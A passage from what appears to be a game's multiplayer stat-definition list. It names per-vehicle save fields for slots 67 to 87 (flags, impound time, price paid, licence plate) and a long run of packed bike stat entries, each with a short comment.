MP1_ // Vehicle_67 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_67 // Add MP0_ or MP1_ // Vehicle_67 time vehicle was obtained + +(u64)MPSV_LP0_67 // Add MP0_ or MP1_ // Vehicle_67 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_68 // Add MP0_ or MP1_ // Vehicle_68 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_68 // Add MP0_ or MP1_ // Vehicle_68 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_68 // Add MP0_ or MP1_ // Vehicle_68 premium paid by destroyer of vehicle +(int)MPSV_MODEL_68 // Add MP0_ or MP1_ // Vehicle_68 model enum of vehicle +(int)MPSV_FLAGS_68 // Add MP0_ or MP1_ // Vehicle_68 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_68 // Add MP0_ or MP1_ // Vehicle_68 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_68 // Add MP0_ or MP1_ // Vehicle_68 time vehicle was obtained + +(u64)MPSV_LP0_68 // Add MP0_ or MP1_ // Vehicle_68 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_69 // Add MP0_ or MP1_ // Vehicle_69 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_69 // Add MP0_ or MP1_ // Vehicle_69 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_69 // Add MP0_ or MP1_ // Vehicle_69 premium paid by destroyer of vehicle +(int)MPSV_MODEL_69 // Add MP0_ or MP1_ // Vehicle_69 model enum of vehicle +(int)MPSV_FLAGS_69 // Add MP0_ or MP1_ // Vehicle_69 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_69 // Add MP0_ or MP1_ // Vehicle_69 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_69 // Add MP0_ or MP1_ // Vehicle_69 time vehicle was obtained + +(u64)MPSV_LP0_69 // Add MP0_ or MP1_ // Vehicle_69 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_70 // Add MP0_ or MP1_ // Vehicle_70 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_70 // Add MP0_ or MP1_ // Vehicle_70 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_70 // Add MP0_ or MP1_ // Vehicle_70 premium paid by destroyer of vehicle +(int)MPSV_MODEL_70 // Add MP0_ or MP1_ // Vehicle_70 model enum of vehicle +(int)MPSV_FLAGS_70 // Add MP0_ or MP1_ // Vehicle_70 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_70 // Add MP0_ or MP1_ // Vehicle_70 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_70 // Add MP0_ or MP1_ // Vehicle_70 time vehicle was obtained + +(u64)MPSV_LP0_70 // Add MP0_ or MP1_ // Vehicle_70 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_71 // Add MP0_ or MP1_ // Vehicle_71 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_71 // Add MP0_ or MP1_ // Vehicle_71 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_71 // Add MP0_ or MP1_ // Vehicle_71 premium paid by destroyer of vehicle +(int)MPSV_MODEL_71 // Add MP0_ or MP1_ // Vehicle_71 model enum of vehicle +(int)MPSV_FLAGS_71 // Add MP0_ or MP1_ // Vehicle_71 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_71 // Add MP0_ or MP1_ // Vehicle_71 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_71 // Add MP0_ or MP1_ // Vehicle_71 time vehicle was obtained + +(u64)MPSV_LP0_71 // Add MP0_ or MP1_ // Vehicle_71 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_72 // Add MP0_ or MP1_ // Vehicle_72 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_72 // Add MP0_ or MP1_ // Vehicle_72 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_72 // Add MP0_ or MP1_ // Vehicle_72 premium paid by destroyer of vehicle +(int)MPSV_MODEL_72 // Add MP0_ or MP1_ // Vehicle_72 model enum of vehicle +(int)MPSV_FLAGS_72 // Add MP0_ or MP1_ // Vehicle_72 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_72 // Add MP0_ or MP1_ // Vehicle_72 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_72 // Add MP0_ or MP1_ // Vehicle_72 time vehicle was obtained + +(u64)MPSV_LP0_72 // Add MP0_ or MP1_ // Vehicle_72 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_73 // Add MP0_ or MP1_ // Vehicle_73 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_73 // Add MP0_ or MP1_ // Vehicle_73 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_73 // Add MP0_ or MP1_ // Vehicle_73 premium paid by destroyer of vehicle +(int)MPSV_MODEL_73 // Add MP0_ or MP1_ // Vehicle_73 model enum of vehicle +(int)MPSV_FLAGS_73 // Add MP0_ or MP1_ // Vehicle_73 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_73 // Add MP0_ or MP1_ // Vehicle_73 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_73 // Add MP0_ or MP1_ // Vehicle_73 time vehicle was obtained + +(u64)MPSV_LP0_73 // Add MP0_ or MP1_ // Vehicle_73 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_74 // Add MP0_ or MP1_ // Vehicle_74 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_74 // Add MP0_ or MP1_ // Vehicle_74 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_74 // Add MP0_ or MP1_ // Vehicle_74 premium paid by destroyer of vehicle +(int)MPSV_MODEL_74 // Add MP0_ or MP1_ // Vehicle_74 model enum of vehicle +(int)MPSV_FLAGS_74 // Add MP0_ or MP1_ // Vehicle_74 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_74 // Add MP0_ or MP1_ // Vehicle_74 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_74 // Add MP0_ or MP1_ // Vehicle_74 time vehicle was obtained + +(u64)MPSV_LP0_74 // Add MP0_ or MP1_ // Vehicle_74 licence plate part 0 + + + +(int)MPSV_VEHICLE_BS_75 // Add MP0_ or MP1_ // Vehicle_75 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_75 // Add MP0_ or MP1_ // Vehicle_75 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_75 // Add MP0_ or MP1_ // Vehicle_75 premium paid by destroyer of vehicle +(int)MPSV_MODEL_75 // Add MP0_ or MP1_ // Vehicle_75 model enum of vehicle +(int)MPSV_FLAGS_75 // Add MP0_ or MP1_ // Vehicle_75 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_75 // Add MP0_ or MP1_ // Vehicle_75 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_75 // Add MP0_ or MP1_ // Vehicle_75 time vehicle was obtained + +(u64)MPSV_LP0_75 // Add MP0_ or MP1_ // Vehicle_75 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_76 // Add MP0_ or MP1_ // Vehicle_76 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_76 // Add MP0_ or MP1_ // Vehicle_76 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_76 // Add MP0_ or MP1_ // Vehicle_76 premium paid by destroyer of vehicle +(int)MPSV_MODEL_76 // Add MP0_ or MP1_ // Vehicle_76 model enum of vehicle +(int)MPSV_FLAGS_76 // Add MP0_ or MP1_ // Vehicle_76 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_76 // Add MP0_ or MP1_ // Vehicle_76 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_76 // Add MP0_ or MP1_ // Vehicle_76 time vehicle was obtained + +(u64)MPSV_LP0_76 // Add MP0_ or MP1_ // Vehicle_76 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_77 // Add MP0_ or MP1_ // Vehicle_77 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_77 // Add MP0_ or MP1_ // Vehicle_77 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_77 // Add MP0_ or MP1_ // Vehicle_77 premium paid by destroyer of vehicle +(int)MPSV_MODEL_77 // Add MP0_ or MP1_ // Vehicle_77 model enum of vehicle +(int)MPSV_FLAGS_77 // Add MP0_ or MP1_ // Vehicle_77 bitset of vehicle flags associated with mods +(int)MPSV_OBTAINED_TIME_77 // Add MP0_ or MP1_ // Vehicle_77 time vehicle was obtained +(int)MPSV_PRICE_PAID_77 // Add MP0_ or MP1_ // Vehicle_77 cost of vehicle when purchased + +(u64)MPSV_LP0_77 // Add MP0_ or MP1_ // Vehicle_77 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_78 // Add MP0_ or MP1_ // Vehicle_78 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_78 // Add MP0_ or MP1_ // Vehicle_78 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_78 // Add MP0_ or MP1_ // Vehicle_78 premium paid by destroyer of vehicle +(int)MPSV_MODEL_78 // Add MP0_ or MP1_ // Vehicle_78 model enum of vehicle +(int)MPSV_FLAGS_78 // Add MP0_ or MP1_ // Vehicle_78 bitset of vehicle flags associated with mods +(int)MPSV_OBTAINED_TIME_78 // Add MP0_ or MP1_ // Vehicle_78 time vehicle was obtained +(int)MPSV_PRICE_PAID_78 // Add MP0_ or MP1_ // Vehicle_78 cost of vehicle when purchased + +(u64)MPSV_LP0_78 // Add MP0_ or MP1_ // Vehicle_78 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_79 // Add MP0_ or MP1_ // Vehicle_79 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_79 // Add MP0_ or MP1_ // Vehicle_79 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_79 // Add MP0_ or MP1_ // Vehicle_79 premium paid by destroyer of vehicle +(int)MPSV_MODEL_79 // Add MP0_ or MP1_ // Vehicle_79 model enum of vehicle +(int)MPSV_FLAGS_79 // Add MP0_ or MP1_ // Vehicle_79 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_79 // Add MP0_ or MP1_ // Vehicle_79 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_79 // Add MP0_ or MP1_ // Vehicle_79 time vehicle was obtained + +(u64)MPSV_LP0_79 // Add MP0_ or MP1_ // Vehicle_79 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_80 // Add MP0_ or MP1_ // Vehicle_80 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_80 // Add MP0_ or MP1_ // Vehicle_80 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_80 // Add MP0_ or MP1_ // Vehicle_80 premium paid by destroyer of vehicle +(int)MPSV_MODEL_80 // Add MP0_ or MP1_ // Vehicle_80 model enum of vehicle +(int)MPSV_FLAGS_80 // Add MP0_ or MP1_ // Vehicle_80 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_80 // Add MP0_ or MP1_ // Vehicle_80 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_80 // Add MP0_ or MP1_ // Vehicle_80 time vehicle was obtained + +(u64)MPSV_LP0_80 // Add MP0_ or MP1_ // Vehicle_80 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_81 // Add MP0_ or MP1_ // Vehicle_81 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_81 // Add MP0_ or MP1_ // Vehicle_81 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_81 // Add MP0_ or MP1_ // Vehicle_81 premium paid by destroyer of vehicle +(int)MPSV_MODEL_81 // Add MP0_ or MP1_ // Vehicle_81 model enum of vehicle +(int)MPSV_FLAGS_81 // Add MP0_ or MP1_ // Vehicle_81 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_81 // Add MP0_ or MP1_ // Vehicle_81 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_81 // Add MP0_ or MP1_ // Vehicle_81 time vehicle was obtained + +(u64)MPSV_LP0_81 // Add MP0_ or MP1_ // Vehicle_81 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_82 // Add MP0_ or MP1_ // Vehicle_82 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_82 // Add MP0_ or MP1_ // Vehicle_82 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_82 // Add MP0_ or MP1_ // Vehicle_82 premium paid by destroyer of vehicle +(int)MPSV_MODEL_82 // Add MP0_ or MP1_ // Vehicle_82 model enum of vehicle +(int)MPSV_FLAGS_82 // Add MP0_ or MP1_ // Vehicle_82 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_82 // Add MP0_ or MP1_ // Vehicle_82 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_82 // Add MP0_ or MP1_ // Vehicle_82 time vehicle was obtained + +(u64)MPSV_LP0_82 // Add MP0_ or MP1_ // Vehicle_82 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_83 // Add MP0_ or MP1_ // Vehicle_83 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_83 // Add MP0_ or MP1_ // Vehicle_83 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_83 // Add MP0_ or MP1_ // Vehicle_83 premium paid by destroyer of vehicle +(int)MPSV_MODEL_83 // Add MP0_ or MP1_ // Vehicle_83 model enum of vehicle +(int)MPSV_FLAGS_83 // Add MP0_ or MP1_ // Vehicle_83 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_83 // Add MP0_ or MP1_ // Vehicle_83 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_83 // Add MP0_ or MP1_ // Vehicle_83 time vehicle was obtained + +(u64)MPSV_LP0_83 // Add MP0_ or MP1_ // Vehicle_83 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_84 // Add MP0_ or MP1_ // Vehicle_84 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_84 // Add MP0_ or MP1_ // Vehicle_84 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_84 // Add MP0_ or MP1_ // Vehicle_84 premium paid by destroyer of vehicle +(int)MPSV_MODEL_84 // Add MP0_ or MP1_ // Vehicle_84 model enum of vehicle +(int)MPSV_FLAGS_84 // Add MP0_ or MP1_ // Vehicle_84 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_84 // Add MP0_ or MP1_ // Vehicle_84 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_84 // Add MP0_ or MP1_ // Vehicle_84 time vehicle was obtained + +(u64)MPSV_LP0_84 // Add MP0_ or MP1_ // Vehicle_84 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_85 // Add MP0_ or MP1_ // Vehicle_85 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_85 // Add MP0_ or MP1_ // Vehicle_85 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_85 // Add MP0_ or MP1_ // Vehicle_85 premium paid by destroyer of vehicle +(int)MPSV_MODEL_85 // Add MP0_ or MP1_ // Vehicle_85 model enum of vehicle +(int)MPSV_FLAGS_85 // Add MP0_ or MP1_ // Vehicle_85 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_85 // Add MP0_ or MP1_ // Vehicle_85 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_85 // Add MP0_ or MP1_ // Vehicle_85 time vehicle was obtained + + +(int)MPSV_VEHICLE_BS_86 // Add MP0_ or MP1_ // Vehicle_86 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_86 // Add MP0_ or MP1_ // Vehicle_86 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_86 // Add MP0_ or MP1_ // Vehicle_86 premium paid by destroyer of vehicle +(int)MPSV_MODEL_86 // Add MP0_ or MP1_ // Vehicle_86 model enum of vehicle +(int)MPSV_FLAGS_86 // Add MP0_ or MP1_ // Vehicle_86 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_86 // Add MP0_ or MP1_ // Vehicle_86 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_86 // Add MP0_ or MP1_ // Vehicle_86 time vehicle was obtained + + +(int)MPSV_VEHICLE_BS_87 // Add MP0_ or MP1_ // Vehicle_87 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_87 // Add MP0_ or MP1_ // Vehicle_87 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_87 // Add MP0_ or MP1_ // Vehicle_87 premium paid by destroyer of vehicle +(int)MPSV_MODEL_87 // Add MP0_ or MP1_ // Vehicle_87 model enum of vehicle +(int)MPSV_FLAGS_87 // Add MP0_ or MP1_ // Vehicle_87 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_87 // Add MP0_ or MP1_ // Vehicle_87 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_87 // Add MP0_ or MP1_ // Vehicle_87 time vehicle was obtained + + +(packed)BIKEPSTAT_INT0 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT1 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT2 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT3 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT4 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT5 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT6 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT7 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT8 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT9 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT10 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT11 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT12 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT13 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT14 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT15 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT16 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT17 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT18 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT19 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT20 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT21 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT22 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT23 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT24 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT25 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT26 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT27 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT28 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT29 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT30 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT31 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT32 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT33 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT34 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT35 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT36 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT37 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT38 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT39 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT40 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT41 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT42 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT43 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT44 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT45 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT46 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT47 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT48 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT49 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT50 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT51 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT52 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT53 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT54 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT55 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT56 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT57 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT58 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT59 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT60 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT61 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT62 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT63 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT64 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT65 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT66 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT67 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT68 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT69 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT70 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT71 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT72 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT73 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT74 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT75 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT76 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT77 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT78 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT79 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT80 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT81 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT82 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT83 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT84 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT85 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT86 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT87 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT88 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT89 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT90 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT91 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT92 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT93 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT94 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT95 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT96 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT97 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT98 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT99 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT100 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT101 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT102 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT103 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT104 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT105 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT106 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT107 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BIKEPSTAT_INT108 // Add MP0_ or MP1_ // Character Stat with 